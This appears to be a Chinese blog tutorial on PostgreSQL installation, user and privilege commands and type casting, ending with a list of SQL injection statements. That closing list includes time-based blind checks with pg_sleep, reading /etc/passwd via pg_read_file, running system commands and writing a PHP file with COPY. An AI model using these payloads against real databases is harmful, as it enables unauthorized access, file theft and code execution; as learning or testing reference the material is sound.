Postgresql是开源的,免费的,并且属于关系型数据库。他与mysql一样都依赖于 SQL(结构化查询语言)。
关于Postgresql的安装方式有三种,分别是:yum源安装,源码安装,二进制安装,这里为了方便,我选择的是源码安装。这是Postgresql源码包下载的官网:
https://www.postgresql.org/download/
Postgresql官网下载的页面提供了安装脚本(选择响应的版本),安装过程十分方便噢!在安装过程中默认安装会创建postgres 用户,,使用postgres用户,psql命令会直接进入数据库。
进入数据库看是否正常:
psql -U post -d dbname -h host -W # 使用post用户登录到数据库名为:dbname,登录主机为host地址,-W表示是否输入密码
CREATE USER testUser WITH PASSWORD '*'; # 创建用户
GRANT ALL PRIVILEGES ON DATABASE test TO user; # 将数据库test授权给user,但此时用户还是没有读写权限,需要继续授权表
GRANT ALL PRIVILEGES ON all tables in schema public TO user; # 授予读写权限
ALTER ROLE pg SUPERUSER # 修改用户角色为超级管理员
CREATE/DROP ROLE name # 创建/删除 角色
\l # 显示所有数据库
\c dbname # 使用某个数据库
\du # 用户列表
\dt # 显示数据表
\password post # 为post用户添加密码
\di # 查看索引
create\drop database dbname; # 创建\删除数据库
alter table [表名A] rename to [表名B]; # 重命名数据表
drop table [表名]; # 删除表
其他的一些命令我就不写了,这里贴一张网上的资源:
CAST是用来进行数据类型格式转换,当传入的某些数值会与数据库字段类型不一致,就需要CAST来进行类型转换,如:
SELECT name FROM student WHERE id = cast(1003 as VARCHAR);
这里使用cast将1003整数型转化为VARCHAR字符串类型。 字段::也是用户类型转化的,如:
SELECT name FROM student WHERE id = 1002 :: VARCHAR;
表示的也是将1002整数型转换为VARCHAR字符型。
这里贴上来自互联网上的关于该数据库注入有关的语句:
select CURRENT_SCHEMA() #查看当前权限
select user #查看用户
select current_user #查看当前用户
select chr(97) #将ASCII码转为字符
select chr(97)||chr(100)||chr(109)||chr(105)||chr(110) #将ASCII转换为字符串
SELECT session_user;
SELECT usename FROM pg_user;
SELECT getpgusername();
select version() #查看PostgreSQL数据库版本
SELECT current_database() #查看当前数据库
select length('admin') #查看长度
select case when(expr1) then result1 else result2 end; #如果xx,执行result1,否则result2
例:select case when(current_user='postgres') then pg_sleep(5) else pg_sleep(0) end;
select pg_read_file("/etc/passwd"); #读取文件
select system("whoami"); #执行系统命令,11.2以下才有该命令
COPY (select '<?php phpinfo();?>') to '/tmp/1.php'; #写入文件
噢,这个数据库的注释是:--